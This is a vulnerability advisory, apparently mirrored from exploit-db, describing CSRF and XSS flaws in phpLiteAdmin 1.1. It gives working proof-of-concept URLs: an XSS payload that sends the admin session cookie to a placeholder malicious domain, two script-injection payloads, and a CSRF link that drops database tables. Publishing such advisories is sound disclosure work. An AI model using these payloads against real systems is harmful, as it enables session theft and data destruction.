phpLiteAdmin 1.1 – Multiple Vulnerabilities

  • 作者: hyp3rlinx
    日期: 2015-07-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37515/
  • # Exploit Title:CSRF & XSS
    # Google Dork: intitle: CSRF & XSS
    # Date: 2015-07-05
    # Exploit Author:John Page ( hyp3rlinx )
    # Website: hyp3rlinx.altervista.org
    # Vendor Homepage: bitbucket.org/phpliteadmin
    # Software Link: bitbucket.org/phpliteadmin
    # Version: v1.1
    # Tested on: windows 7
    # Category: webapps
    
    Vendor:
    ================================
    bitbucket.org/phpliteadmin
    
    Product:
    ================================
    phpLiteAdmin v1.1
    
    Advisory Information:
    ================================================
    CSRF & XSS Vulnerabilities
    
    Vulnerability Details:
    ======================
    
    CSRF:
    ------
    No CSRF token exists when making calls to various SQL operations
    therefore we can get user to drop the whole database tables if they click
    on our malicious link and table is known.
    
    XSS:
    ------
    There are three XSS vulnerabilities I point out first is use of 'PHP_SELF',
    second is unsanitized parameter
    for SQL statement when calling drop table method e.g. '
    http://localhost/phpliteadmin.php?droptable=[XSS]'
    and third is an unsanitized 'table' parameter e.g. '
    http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table=[XSS]'
    
    Lets look at the first one more in depth as its more fun.
    phpliteadmin uses a PHP reserved server variable $_SERVER['PHP_SELF'] which
    is vulnerable if not used correctly
    allowing us to inject an XSS payload to steal session cookies and navigate
    them to a place of our choosing
    in order to cause mayhem.
    
    On line 32 of 'phpliteadmin.php' we find vulnerable code:
    
    --------------------------------------------------------
    //build the basename of this file
    $nameArr = explode("?", $_SERVER['PHP_SELF']);
    $thisName = $nameArr[0];
    $nameArr = explode("/", $thisName);
    $thisName = $nameArr[sizeof($nameArr)-1];
    
    //constants
    define("VERSION", "1.1");
    define("PAGE", $thisName);
    -------------------------------------------------------
    
    In PHP docs we find the following explanation of 'PHP_SELF':
    "The filename of the currently executing script, relative to the document
    root."
    ref: http://php.net/manual/en/reserved.variables.server.php
    
    It is known $_SERVER['PHP_SELF'] can make your application insecure as we
    can inject code following a forward slash "/"
    But we have slight problem to overcome, we can execute code but our forward
    slashes will not be processed correctly
    and exploit will FAIL! leaving us with the following useless URL instead of
    taking the victim to a domain of our choice.
    
    
    Fail exploit example:
    http://localhost/phpliteadmin_v1-1/phpliteadmin.php/
    "'onMouseOver="window.open('http://hyp3rlinx.altervista.org')"
    
    Failed Result:
    http://localhost/phpliteadmin_v1-1/phpliteadmin.php/hyp3rlinx.altervista.org
    
    
    But all is NOT lost!, we will construct our malicious URL forward slashes
    in our JS call to window.open() method using
    String.charCodeAt(58) for ':' and String.charCodeAt(47) for '/' which will
    NOW give us what we seek, control over the users browser
    taking them to some terrible dark place.
    
    Bypass $_SERVER['PHP_SELF'] forward slash '//' processing issue:
    
    Tada!, our successful XSS exploit:
    http://localhost/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){var
    x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'
    hyp3rlinx.altervista.org';window.open(x);})()"
    
    
    Exploit code(s):
    ===============
    
    XSS(s) POC:
    ----------
    
    
    1- $_SERVER['PHP_SELF'] XSS exploit steals current admin session cookie and
    sends to remote server:
    http://localhost/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){var
    x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'MALICIOUS-DOMAIN';window.open(x+String.fromCharCode(47)+'cookietheft.php'+String.fromCharCode(63)+'='+document.cookie);})()"
    
    
    2- SQL droptable XSS:
    http://localhost/sectest/phpliteadmin_v1-1/phpliteadmin.php?droptable=
    <script>alert(666)</script>
    
    
    3- SQL table XSS:
    http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table=
    "/><script>alert(666)</script>
    
    
    
    CSRF POC:
    ---------
    Drop tables:
    localhost/phpliteadmin_v1-1/phpliteadmin.php?droptable=mytable&confirm=1
    
    
    
    Disclosure Timeline:
    =========================================================
    
    
    Vendor Notification:NA
    July 5, 2015: Public Disclosure
    
    
    
    Severity Level:
    =========================================================
    Med
    
    
    
    Description:
    ==========================================================
    
    
    Request Method(s):[+] GET
    
    
    Vulnerable Product: [+] phpliteadmin_v1-1
    
    
    Vulnerable Parameter(s):[+] $_SERVER['PHP_SELF'], droptable, table
    
    
    Affected Area(s): [+] Admin
    
    
    ===========================================================
    
    [+] Disclaimer
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and that due
    credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit is given to
    the author. The author is not responsible for any misuse of the information
    contained herein and prohibits any malicious use of all security related
    information or exploits by the author or elsewhere.
    
    
    (hyp3rlinx)